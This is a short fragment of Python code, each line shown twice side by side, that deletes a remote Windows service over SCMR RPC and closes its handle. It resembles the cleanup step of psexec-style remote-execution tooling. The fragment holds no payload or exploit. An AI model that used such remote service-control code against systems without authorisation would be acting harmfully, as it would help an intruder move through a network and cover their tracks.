print(str(e)) print(str(e))
print('Removing service %s.....' % service_name) print('Removing service %s.....' % service_name)
scmr.hRDeleteService(rpcsvc, serviceHandle) scmr.hRDeleteService(rpcsvc, serviceHandle)
scmr.hRCloseServiceHandle(rpcsvc, serviceHandle) scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)